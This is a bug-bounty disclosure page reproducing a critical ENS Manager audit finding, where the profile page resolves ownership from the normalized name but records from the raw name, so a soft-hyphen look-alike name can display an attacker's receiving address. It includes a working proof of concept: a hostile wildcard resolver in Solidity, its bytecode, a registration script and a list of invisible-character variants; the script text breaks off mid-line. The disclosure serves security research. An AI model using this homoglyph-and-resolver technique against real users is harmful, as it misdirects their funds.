Skip to content
Business logic Audit finding Advanced

Profile page reads ownership and records from two different names, so a look-alike name displays an attacker-controlled receiving address

The Manager profile page resolved a name's ownership through ENSIP-15 normalization but fetched its records from the raw URL parameter, so the two reads could land on different ENS nodes. An attacker could register a look-alike twin name pointing at a wildcard resolver they control, and the profile page would show the victim's genuine owner and dates beside an attacker-chosen receiving address.

Naveen0x Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

93010 w a critical profile page reads ownership and records from two different names so a look alike name displays an attacker controlled receiving address

Submitted on Sep 13th 2026 at 20:37:22 UTC by @Naveen0x for Audit Competition | ENS

  • Report ID: #93010
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
  • Impacts:
    • Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves

Description

Brief/Intro

Everything needed to reproduce this is in the report itself: the resolver source, the full PoC script, the contract addresses it uses and the output I got. There are no attachments.

Summary

The Manager profile route resolves a name's ownership through ENSIP-15 normalization, but resolves its records straight from the raw URL parameter. Those two reads can land on two different ENS nodes.

An attacker registers a look-alike twin of a victim's name, for example the victim's label with a soft hyphen appended, and points it at a wildcard resolver they control. The twin's profile page then shows the victim's genuine owner address, genuine registration date and genuine expiry, sitting next to an ETH receiving address that the attacker chose. That address is rendered under the heading "Main receiving address" with a copy button attached to it.

Nobody has to connect a wallet or approve anything. Someone who opens the link to check where to pay a name copies the attacker's address.

Affected

Route: /$name (the profile page), and /p/$name, which redirects to it unchanged

Primary defect: apps/manager/src/features/profile/service/profileRecords.ts:122-132

Entry point: apps/manager/src/routes/$name/index.tsx:50-56

Commit: 1c9b47f18fcddd2e864dfe385c4171061c9811ae (branch audit-comp-ready)

Impact

A user who opens an attacker-supplied profile link sees a page that looks completely legitimate. The owner address is real, the registration and expiry dates are real, and the name printed in the heading and the browser tab reads exactly like the victim's name, because the soft hyphen renders as nothing. The only false value on the page is the one the user came for: the receiving address.

This is direct funds misdirection against a third party who never interacts with a contract. The attacker only needs to get the link in front of them, which is how profile links normally circulate: forum posts, DMs, invoices, group chats.

The PoC below produces the resolution itself. For one name, on one profile page, the ownership read and the record read land on two different nodes, and the record read returns the address the attacker planted. The final hop, React painting that value into the copy button, is traced in source rather than executed in a browser, and I flag that plainly below.

Root cause

apps/manager/src/routes/$name/index.tsx:50-56 fires both reads with the same raw route parameter:

TS
loader: async ({ params: { name }, context: { queryClient } }) => {
  const [profileRecords, ownerData] = await Promise.all([
    queryClient.ensureQueryData(profileRecordsQuery(name)),   // raw
    queryClient.fetchQuery(profileOwnerQuery(name)),          // normalized downstream
  ])

The two code paths then disagree about what that parameter means.

The owner read normalizes. profileOwner.ts:25 calls normalizeEthName(params.name) and profileOwner.ts:56 passes the normalized string into getOwner. normalizeEthName is profileName.ts:14-21, and the normalization itself is viem's normalize at profileName.ts:18.

Expiry normalizes too, through normalizeEth2LdName(name) at profileExpiry.ts:77, used at :94 and :106.

Registration normalizes as well, through normalizeEth2LdName(name) at profileRegistration.ts:66, used at :80 for v1 names and at :117 (label: ethName.label) for v2 names, which is the path a freshly registered twin takes.

Text and coin records do not normalize. profileRecords.ts:122-132 calls getRecords(client, { name, ... }) with the raw parameter and no resolver key in the options object.

With no resolver override, ensjs routes the read through the UniversalResolver, and it DNS-encodes the raw name to do so:

TS
// @ensdomains/ensjs 5.0.0-alpha.1, src/actions/public/resolveNameData.ts:70 and :93
const nameWithSizedLabels = getNameWithSizedLabels(name)   // raw, never normalized
...
args: [toHex(packetToBytes(nameWithSizedLabels)), multicallData]

Resolver discovery therefore walks the impostor node, which the attacker owns.

One subtlety is worth stating, because it looks like a mitigation and is not. Inside a single getRecords batch, ensjs does normalize address records: src/utils/coders/getAddress.ts:121-124 for coinType 60 and :133-136 for other coins both call namehash(normalize(name)), while text and contenthash records use the raw name (getText.ts:49 and getContentHash.ts:37 are namehash(name)). So the inner addr calldata does carry the genuine node. That does not help. An ENSIP-10 extended resolver is invoked as resolve(dnsEncodedName, innerCalldata) and is free to ignore the node inside innerCalldata completely. The normalized node never constrains the answer. The resolver I wrote for this does exactly that, in about twenty lines of Solidity, and its full source is below.

The poisoned value then lands on the one field that matters:

  • ProfileView.tsx:93-95 takes records from profileRecordsQuery(name) (the raw read) and ProfileView.tsx:99-101 takes the owner from profileOwnerQuery(name) (the normalized read). Both receive the raw route param from routes/$name/index.tsx:165-173.
  • getMainAddressCandidate at ProfileView.helpers.ts:229-237 promotes coinType 60 (ETH_COIN_TYPE = 60, ProfileView.helpers.ts:16) to the primary receiving address:
TS
// ProfileView.helpers.ts:234-235
addresses.find((address) => address.coinType === ETH_COIN_TYPE) ?? addresses[0]
  • ProfileAddressesSection.tsx:159 calls getMainReceivingAddress (ProfileView.helpers.ts:239-244), :171-178 renders it under "Main receiving address", and :90-94 wraps it in a CopyableButton whose value={address.value} is what a click puts on the clipboard.

None of this depends on indexer state. profileRecords.ts:116-120 unions coinType 60 into the request unconditionally through alwaysProbeAddressRecords = ['60'] (apps/manager/src/features/profile/data/records/utils.ts:42), whatever the indexer returns.

The app's own share link preserves the raw form: ProfileView.tsx:60-65 builds /p/${name}, and routes/p/$name/index.tsx:9 redirects that to /$name with the parameter unchanged.

Why the route's existing checks do not stop this

The route is not unguarded, so here is what it actually checks and why each check passes a twin.

The param parser at routes/$name/route.tsx:3-19 is a length and dot check:

TS
parse: ({ name }) => {
  if (name.length < 3 || !name.includes('.')) {
    throw new Error('Invalid ENS name')
  }

A twin label passes trivially. It is longer than the genuine label and it contains a dot.

parseName at routes/$name/index.tsx:58 comes from apps/manager/src/features/register-v2/utils/name-parser.ts:33-82. Its character filter is INVALID_LABEL_CHARS at name-parser.ts:11:

TS
const INVALID_LABEL_CHARS = /[&*@#$%^()[\]{}|\\:;"'<>?,=+~`!]/

That is an ASCII punctuation blocklist, applied at name-parser.ts:73-75. It rejects no non-ASCII character at all, and name-parser.ts:46 lowercases the string before testing, so it cannot even see a case difference. parseName also rejects whitespace (:49-51) and consecutive dots (:54-56). A soft hyphen, a zero-width space, a fullwidth letter and a capital letter all pass.

The TLD and DNSSEC gate at routes/$name/index.tsx:58-74 computes isEth and only consults DNSSEC when the TLD is not eth. parseName on victim<U+00AD>.eth returns tld: 'eth', so isEth is true and the whole DNSSEC branch at :64-74 is skipped.

classifyMissingName and the registrable redirect at routes/$name/index.tsx:76-93 only run when ownerData is null. Here ownerData is not null, because the normalized read finds the victim's real ownership record, so the loader falls through and renders the profile.

So there is no normalization, no canonicalizing redirect and no resolver-consistency check anywhere on this route.

The Explorer app already does this correctly, in the same monorepo. It gates the equivalent page on isValidEnsName(name) at apps/portal/src/routes/$name/index.tsx:442 and returns <InvalidNameMessage title="Invalid name" /> at :458-460. isValidEnsName (apps/portal/src/utils/token/isNormalized.ts:39-57) is a real ENSIP-15 check: :44-56 requires every label either to satisfy ens_normalize(label) === label (isNormalized.ts:16-22) and ens_split without error, or to be an encoded labelhash [64 hex] (:45-47, isNormalized.ts:11-14). I copied that function out of the file and ran it against the repo's own @adraffy/ens-normalize: victim.eth returns true, while Victim.eth, VICTIM.ETH, victim<U+00AD>.eth and the fullwidth, circled and Kelvin variants listed in the output below all return false.

Proof of Concept

Proof of concept

What you need

A local anvil fork of Sepolia, and Node. The script runs from inside apps/manager/ so that the repository's own pinned viem and @ensdomains/ensjs (5.0.0-alpha.1) resolve, which matters here: the point is that these are the versions the app ships with.

anvil --fork-url <sepolia-rpc> --chain-id 11155111

Then save the script below as poc.mjs in apps/manager/ and run node poc.mjs. The RPC defaults to http://127.0.0.1:8545 and can be overridden with RPC_URL.

Contracts and accounts the script uses

These are the ENS v2 Sepolia deployment addresses as pinned by @ensdomains/ensjs in this repository, so nothing below is a stand-in except the registrar's own test payment token:

ETHRegistrar: 0xa88553F454b77203B0D036A05c894d555EAAa2Cc

Payment token (MockUSDC): 0x768F42455A2D082E23ceeF7d51e5787C82d67a39

Stock public resolver, used for the genuine name: 0x640294a2b2d87e7f522db3e3e3e876764bce170d

Attacker: anvil default account 0, 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266

Victim: account 1 from the standard anvil mnemonic, 0x70997970C51812dc3A010C7d01b50e0d17dc79C8

The address the hostile resolver hands back is 0x00000000000000000000000000000000DeaDBeef, picked so it is obvious in the output which value came from where.

One environment quirk worth knowing before you run it: anvil forks of Sepolia inherit EIP-7702 delegations that others have squatted on the standard test accounts, and those revert inside onERC1155Received during registration. The script clears them with anvil_setCode before each registration. If you adapt the script, keep that.

The hostile resolver

This is the contract the attacker deploys and points the twin at. It is an ENSIP-10 extended resolver that answers for any node it is asked about, which is what makes the inner normalized addr calldata irrelevant. I compiled it with solc 0.8.28, and the deployed bytecode is embedded in the script, so you do not need solc to reproduce.

Solidity
contract EvilWildcardResolver {
  address public constant ATTACKER = 0x00000000000000000000000000000000DeaDBeef;

  // ENSIP-10 extended resolver: answers for ANY node it is asked about
  function resolve(bytes calldata, bytes calldata data) external pure returns (bytes memory) {
    bytes4 sel = bytes4(data[0:4]);
    if (sel == 0x3b3b57de) return abi.encode(ATTACKER);                       // addr(bytes32)
    if (sel == 0xf1cb7e06) return abi.encode(abi.encodePacked(ATTACKER));     // addr(bytes32,uint256)
    if (sel == 0x59d1d43c) return abi.encode(string("evil-text"));            // text(bytes32,string)
    if (sel == 0xbc1c58d1) return abi.encode(bytes(""));                      // contenthash(bytes32)
    return "";
  }

  function addr(bytes32) external pure returns (address) { return ATTACKER; }
  function addr(bytes32, uint256) external pure returns (bytes memory) { return abi.encodePacked(ATTACKER); }
  function text(bytes32, string calldata) external pure returns (string memory) { return "evil-text"; }
  function contenthash(bytes32) external pure returns (bytes memory) { return ""; }

  function supportsInterface(bytes4 id) external pure returns (bool) {
    return id == 0x01ffc9a7 || id == 0x9061b923 || id == 0x3b3b57de
        || id == 0xf1cb7e06 || id == 0x59d1d43c || id == 0xbc1c58d1;
  }
}

The script

Copy this whole block to apps/manager/poc.mjs. One warning about copying it: the IMPOSTOR_LABEL assignment and the soft hyphen, zero width, word joiner, BOM and variation selector entries in DIVERGENCE_CASES contain literal invisible characters. They have to survive the copy, or the script will register the same label twice and the second registration will revert. If your editor strips them, rebuild those strings with explicit escapes, for example `${BASE}\u00AD`.

JavaScript
/**
 * PoC — ENS Manager renders the genuine owner of a name beside an
 *       attacker-controlled receiving address.
 *
 * SETUP
 *   1. anvil --fork-url <sepolia-rpc> --chain-id 11155111
 *   2. Place this file in apps/manager/ (so the repo's pinned viem and
 *      @ensdomains/ensjs resolve), or symlink apps/manager/node_modules next to it.
 *   3. node poc.mjs
 *
 * WHAT IT DOES
 *   [0] prints the raw-vs-normalized divergence table, to show the split does
 *       not depend on any particular "deceptive" character class
 *   [1] deploys a hostile ENSIP-10 (wildcard) resolver that answers every addr()
 *       query with 0x...DeaDBeef, regardless of the node in the inner calldata
 *   [2] registers  <base>.eth       to the VICTIM   (normal resolver)
 *       registers  <base>­.eth to the ATTACKER (hostile resolver)
 *       U+00AD SOFT HYPHEN renders as nothing, so the two are visually identical
 *   [3] performs the two reads the Manager profile route performs:
 *         owner   -> normalizeEthName() then getOwner()      [ENSIP-15 normalized]
 *                    profileOwner.ts:25 and :56
 *         records -> getRecords(client, { name })            [raw route param]
 *                    profileRecords.ts:122-132
 *   [4] repeats the record read with the application's EXACT option object and
 *       record key unions from profileRecords.ts:109-132, then applies the
 *       primary-address selection from ProfileView.helpers.ts:229-237
 *
 * WHAT IT DOES NOT DO
 *   It does not boot the Vite app or import getProfileRecords() itself: that
 *   function first calls the GraphQL indexer (profileRecords.ts:94-97), which is
 *   not part of the in-scope repository and is not available offline. Step [4]
 *   reproduces the ensjs call that function makes, argument for argument. The
 *   indexer leg can only ADD record keys to the two unions; it cannot remove
 *   coinType 60, which alwaysProbeAddressRecords pins unconditionally
 *   (data/records/utils.ts:42, profileRecords.ts:116-120).
 *
 * EXPECTED OUTPUT
 *   displayed owner   : <victim EOA>        (the genuine owner)
 *   displayed ETH addr: 0x...DeaDBeef       (the attacker's address)
 */
import {
  createPublicClient, createWalletClient, http, encodeFunctionData, parseAbi, labelhash, toHex,
} from 'viem'
import { privateKeyToAccount, mnemonicToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { namehash, normalize, packetToBytes } from 'viem/ens'
import { coinTypeToNameMap } from '@ensdomains/address-encoder'
import { extendChainWithEns } from '@ensdomains/ensjs/chain'
import { getRecords } from '@ensdomains/ensjs/public'
import { getOwner as getOwnerV2 } from '@ensdomains/ensjs/public/v2'
import { getCoderFromCoin } from '@ensdomains/ensjs/utils'

const RPC = process.env.RPC_URL ?? 'http://127.0.0.1:8545'
const chain = extendChainWithEns(sepolia)
const pub = createPublicClient({ chain, transport: http(RPC) })

// anvil default account 0, and account 1 from the standard test mnemonic
const attacker = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
const victim = mnemonicToAccount('test test test test test test test test test test test junk', { addressIndex: 1 })

// ENS v2 Sepolia deployment (as pinned by @ensdomains/ensjs in this repo)
const REG = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'   // ETHRegistrar
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'  // MockUSDC (payment token)
const GOOD_RESOLVER = '0x640294a2b2d87e7f522db3e3e3e876764bce170d'
const ZERO = '0x0000000000000000000000000000000000000000'
const ZH = `0x${'00'.repeat(32)}`

const regAbi = parseAbi([
  'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
  'function commit(bytes32 commitment)',
  'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',
  'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256)',
])
const tokAbi = parseAbi([
  'function mint(address to, uint256 amount)',
  'function approve(address spender, uint256 amount) returns (bool)',
])

/**
 * EvilWildcardResolver, compiled with solc 0.8.28. Source:
 *
 *   contract EvilWildcardResolver {
 *     address public constant ATTACKER = 0x00000000000000000000000000000000DeaDBeef;
 *     // ENSIP-10 extended resolver: answers for ANY node it is asked about
 *     function resolve(bytes calldata, bytes calldata data) external pure returns (bytes memory) {
 *       bytes4 sel = bytes4(data[0:4]);
 *       if (sel == 0x3b3b57de) return abi.encode(ATTACKER);                       // addr(bytes32)
 *       if (sel == 0xf1cb7e06) return abi.encode(abi.encodePacked(ATTACKER));     // addr(bytes32,uint256)
 *       if (sel == 0x59d1d43c) return abi.encode(string("evil-text"));            // text(bytes32,string)
 *       if (sel == 0xbc1c58d1) return abi.encode(bytes(""));                      // contenthash(bytes32)
 *       return "";
 *     }
 *     function addr(bytes32) external pure returns (address) { return ATTACKER; }
 *     function addr(bytes32, uint256) external pure returns (bytes memory) { return abi.encodePacked(ATTACKER); }
 *     function text(bytes32, string calldata) external pure returns (string memory) { return "evil-text"; }
 *     function contenthash(bytes32) external pure returns (bytes memory) { return ""; }
 *     function supportsInterface(bytes4 id) external pure returns (bool) {
 *       return id == 0x01ffc9a7 || id == 0x9061b923 || id == 0x3b3b57de
 *           || id == 0xf1cb7e06 || id == 0x59d1d43c || id == 0xbc1c58d1;
 *     }
 *   }
 */
const EVIL_BYTECODE =
  '0x' +
  '6080604052348015600e575f5ffd5b50610b368061001c5f395ff3fe608060405234801561000f575f5ffd5b506004361061' +
  '007b575f3560e01c80639061b923116100595780639061b9231461010f578063a55a15031461013f578063bc1c58d1146101' +
  '5d578063f1cb7e061461018d5761007b565b806301ffc9a71461007f5780633b3b57de146100af57806359d1d43c146100df' +
  '575b5f5ffd5b610099600480360381019061009491906105d3565b6101bd565b6040516100a69190610618565b6040518091' +
  '0390f35b6100c960048036038101906100c49190610664565b6102de565b6040516100d691906106ce565b60405180910390' +
  'f35b6100f960048036038101906100f49190610748565b6102eb565b6040516101069190610815565b60405180910390f35b' +
  '6101296004803603810190610124919061088a565b61032c565b604051610136919061095a565b60405180910390f35b6101' +
  '47610528565b60405161015491906106ce565b60405180910390f35b61017760048036038101906101729190610664565b61' +
  '0530565b604051610184919061095a565b60405180910390f35b6101a760048036038101906101a291906109ad565b610548' +
  '565b6040516101b4919061095a565b60405180910390f35b5f6301ffc9a760e01b827bffffffffffffffffffffffffffffff' +
  'ffffffffffffffffffffffffff191614806102175750639061b92360e01b827bffffffffffffffffffffffffffffffffffff' +
  'ffffffffffffffffffff1916145b806102475750633b3b57de60e01b827bffffffffffffffffffffffffffffffffffffffff' +
  'ffffffffffffffff1916145b80610277575063f1cb7e0660e01b827bffffffffffffffffffffffffffffffffffffffffffff' +
  'ffffffffffff1916145b806102a757506359d1d43c60e01b827bffffffffffffffffffffffffffffffffffffffffffffffff' +
  'ffffffff1916145b806102d7575063bc1c58d160e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffff' +
  'ffff1916145b9050919050565b5f63deadbeef9050919050565b60606040518060400160405280600981526020017f657669' +
  '6c2d74657874000000000000000000000000000000000000000000000081525090509392505050565b60605f83835f906004' +
  '92610342939291906109f3565b9061034d9190610a43565b9050633b3b57de60e01b817bffffffffffffffffffffffffffff' +
  'ffffffffffffffffffffffffffff1916036103a85763deadbeef60405160200161039191906106ce565b6040516020818303' +
  '03815290604052915050610520565b63f1cb7e0660e01b817bffffffffffffffffffffffffffffffffffffffffffffffffff' +
  'ffffff1916036104205763deadbeef6040516020016103ea9190610ae6565b60405160208183030381529060405260405160' +
  '2001610409919061095a565b604051602081830303815290604052915050610520565b6359d1d43c60e01b817bffffffffff' +
  'ffffffffffffffffffffffffffffffffffffffffffffff1916036104aa576040518060400160405280600981526020017f65' +
  '76696c2d7465787400000000000000000000000000000000000000000000008152506040516020016104939190610815565b' +
  '604051602081830303815290604052915050610520565b63bc1c58d160e01b817bffffffffffffffffffffffffffffffffff' +
  'ffffffffffffffffffffff19160361050d5760405180602001604052805f8152506040516020016104f6919061095a565b60' +
  '4051602081830303815290604052915050610520565b60405180602001604052805f8152509150505b949350505050565b63' +
  'deadbeef81565b606060405180602001604052805f8152509050919050565b606063deadbeef60405160200161055f919061' +
  '0ae6565b604051602081830303815290604052905092915050565b5f5ffd5b5f5ffd5b5f7fffffffff000000000000000000' +
  '0000000000000000000000000000000000000082169050919050565b6105b28161057e565b81146105bc575f5ffd5b50565b' +
  '5f813590506105cd816105a9565b92915050565b5f602082840312156105e8576105e7610576565b5b5f6105f58482850161' +
  '05bf565b91505092915050565b5f8115159050919050565b610612816105fe565b82525050565b5f60208201905061062b5f' +
  '830184610609565b92915050565b5f819050919050565b61064381610631565b811461064d575f5ffd5b50565b5f81359050' +
  '61065e8161063a565b92915050565b5f6020828403121561067957610678610576565b5b5f61068684828501610650565b91' +
  '505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106b88261068f565b90' +
  '50919050565b6106c8816106ae565b82525050565b5f6020820190506106e15f8301846106bf565b92915050565b5f5ffd5b' +
  '5f5ffd5b5f5ffd5b5f5f83601f840112610708576107076106e7565b5b8235905067ffffffffffffffff8111156107255761' +
  '07246106eb565b5b602083019150836001820283011115610741576107406106ef565b5b9250929050565b5f5f5f60408486' +
  '03121561075f5761075e610576565b5b5f61076c86828701610650565b935050602084013567ffffffffffffffff81111561' +
  '078d5761078c61057a565b5b610799868287016106f3565b92509250509250925092565b5f81519050919050565b5f828252' +
  '60208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6107e7826107a5' +
  '565b6107f181856107af565b93506108018185602086016107bf565b61080a816107cd565b840191505092915050565b5f60' +
  '20820190508181035f83015261082d81846107dd565b905092915050565b5f5f83601f84011261084a576108496106e7565b' +
  '5b8235905067ffffffffffffffff811115610867576108666106eb565b5b6020830191508360018202830111156108835761' +
  '08826106ef565b5b9250929050565b5f5f5f5f604085870312156108a2576108a1610576565b5b5f85013567ffffffffffff' +
  'ffff8111156108bf576108be61057a565b5b6108cb87828801610835565b9450945050602085013567ffffffffffffffff81' +
  '11156108ee576108ed61057a565b5b6108fa87828801610835565b925092505092959194509250565b5f8151905091905056' +
  '5b5f82825260208201905092915050565b5f61092c82610908565b6109368185610912565b93506109468185602086016107' +
  'bf565b61094f816107cd565b840191505092915050565b5f6020820190508181035f8301526109728184610922565b905092' +
  '915050565b5f819050919050565b61098c8161097a565b8114610996575f5ffd5b50565b5f813590506109a781610983565b' +
  '92915050565b5f5f604083850312156109c3576109c2610576565b5b5f6109d085828601610650565b92505060206109e185' +
  '828601610999565b9150509250929050565b5f5ffd5b5f5ffd5b5f5f85851115610a0657610a056109eb565b5b8386111561' +
  '0a1757610a166109ef565b5b6001850283019150848603905094509492505050565b5f82905092915050565b5f82821b9050' +
  '92915050565b5f610a4e8383610a2d565b82610a59813561057e565b92506004821015610a9957610a947fffffffff000000' +
  '0000000000000000000000000000000000000000000000000083600403600802610a37565b831692505b505092915050565b' +
  '5f8160601b9050919050565b5f610ab782610aa1565b9050919050565b5f610ac882610aad565b9050919050565b610ae061' +
  '0adb826106ae565b610abe565b82525050565b5f610af18284610acf565b6014820191508190509291505056fea264697066' +
  '735822122098d90ab7be7339bce0309db67dbd2c80655826008d7f077c86003c6205adcae164736f6c634300081c0033'

const rpc = (method, params) =>
  fetch(RPC, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
  }).then((r) => r.json())

const wallet = (acct) => createWalletClient({ account: acct, chain, transport: http(RPC) })

const send = async (wc, to, data) => {
  const hash = await wc.sendTransaction({ to, data })
  const receipt = await pub.waitForTransactionReceipt({ hash })
  if (receipt.status !== 'success') throw new Error(`tx reverted: ${hash}`)
  return receipt
}

/** Register `label` from the owner's own account (the registrar pulls payment from msg.sender). */
async function register(ownerAcct, label, resolver) {
  const wc = wallet(ownerAcct)
  const owner = ownerAcct.address
  const secret = `0x${'11'.repeat(32)}`
  const duration = 31536000n

  // Anvil forks of Sepolia inherit EIP-7702 delegations squatted on the test
  // accounts; those revert inside onERC1155Received. Clear them first.
  await rpc('anvil_setCode', [owner, '0x'])
  await rpc('anvil_setBalance', [owner, `0x${(10n ** 20n).toString(16)}`])

  await send(wallet(attacker), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'mint', args: [owner, 10_000_000_000n] }))
  const commitment = await pub.readContract({
    address: REG, abi: regAbi, functionName: 'makeCommitment',
    args: [label, owner, secret, ZERO, resolver, duration, ZH],
  })
  await send(wc, REG, encodeFunctionData({ abi: regAbi, functionName: 'commit', args: [commitment] }))
  await rpc('evm_increaseTime', [90])
  await rpc('evm_mine', [])
  const [base, premium] = await pub.readContract({
    address: REG, abi: regAbi, functionName: 'getRegisterPrice', args: [label, duration, USDC],
  })
  await send(wc, USDC, encodeFunctionData({ abi: tokAbi, functionName: 'approve', args: [REG, (base + premium) * 2n] }))
  await send(wc, REG, encodeFunctionData({
    abi: regAbi, functionName: 'register',
    args: [label, owner, secret, ZERO, resolver, duration, USDC, ZH],
  }))
}

async function deployEvilResolver() {
  const hash = await wallet(attacker).deployContract({ abi: [], bytecode: EVIL_BYTECODE })
  const { contractAddress } = await pub.waitForTransactionReceipt({ hash })
  return contractAddress
}

// ---------------------------------------------------------------------------
// [0] The divergence property, with no chain access at all.
//
// The Manager route reads ownership through viem's `normalize` (ENSIP-15) and
// reads records through the raw route parameter, which ensjs DNS-encodes with
// `packetToBytes` (resolveNameData.ts:70 and :93). Any string where
// `normalize(raw) !== raw` therefore addresses two different nodes on one page.
// That property does not require a homoglyph, a bidirectional or other control
// character, or a leading/trailing dot: plain ASCII capitalisation is enough.
// ---------------------------------------------------------------------------
const DIVERGENCE_CASES = [
  ['ASCII capital',        'Victim.eth'],
  ['ASCII all-caps',       'VICTIM.ETH'],
  ['fullwidth  U+FF56',    'victim.eth'],
  ['circled    U+24E5',    'ⓥictim.eth'],
  ['Kelvin     U+212A',    'Kelvin.eth'],
  ['soft hyphen U+00AD',   'victim­eth'.replace('eth', '.eth')],
  ['ZWSP       U+200B',    'victim​.eth'],
  ['word-joiner U+2060',   'victim⁠.eth'],
  ['BOM        U+FEFF',    'victim.eth'],
  ['VS16       U+FE0F',    'victim️.eth'],
  ['ZWNJ       U+200C',    'victim‌.eth'],
  ['ZWJ        U+200D',    'victim‍.eth'],
  ['LRM        U+200E',    'victim‎.eth'],
  ['CGJ        U+034F',    'victim͏.eth'],
]

console.log('=== [0] raw vs normalize: which forms diverge, measured with the repo-pinned viem ===')
for (const [label, raw] of DIVERGENCE_CASES) {
  let norm
  try {
    norm = normalize(raw)
  } catch (e) {
    console.log(`  ${label.padEnd(20)} normalize THROWS -> not usable`)
    continue
  }
  const divergent = namehash(raw) !== namehash(norm)
  console.log(
    `  ${label.padEnd(20)} normalize -> ${JSON.stringify(norm).padEnd(14)}` +
    ` divergent: ${String(divergent).padEnd(5)} packetToBytes(raw) = ${toHex(packetToBytes(raw))}`,
  )
}
console.log()

const BASE = `nickdemo${Math.floor(Math.random() * 1e6)}`
const IMPOSTOR_LABEL = `${BASE}­`     // U+00AD SOFT HYPHEN — renders as nothing
const GENUINE = `${BASE}.eth`
const IMPOSTOR = `${IMPOSTOR_LAB

The original report as published on Immunefi, by Naveen0x. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The route passed the same raw name parameter to two code paths, one of which normalizes it and one of which does not, so record resolution walked a different node than ownership resolution.

Impact

A user opening an attacker-supplied profile link could see a page with the victim's real owner and dates but copy the attacker's receiving address, misdirecting funds; the final rendering step was traced in source rather than executed in a browser.

What the attacker needed

Attacker registers a look-alike twin name; attacker controls a wildcard resolver; victim opens an attacker-supplied link; no wallet connection needed

The fix

The profile route should normalize the name once and use that normalized value for both the ownership and record reads, as the Explorer app already does with a real ENSIP-15 validity check.

How it was found

  1. Start a local anvil fork of Sepolia and run the provided script from the manager app directory.
  2. Deploy a hostile wildcard resolver that answers any node with the attacker's address.
  3. Register the genuine name to the victim and a soft-hyphen twin to the attacker with the hostile resolver.
  4. Perform the owner read with normalization and the record read with the raw name, as the profile route does.
  5. Apply the primary-address selection and observe the attacker address chosen as the main receiving address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names are human-readable wallet names, and the app turns a name into a record lookup. Here the page checked who owns the name using a cleaned-up version of the text, but looked up the payment address using the text exactly as typed. A sneaky character that looks invisible made those two versions point at different names, so the page mixed a real owner with a fake address.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Naveen0x

View all

10 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.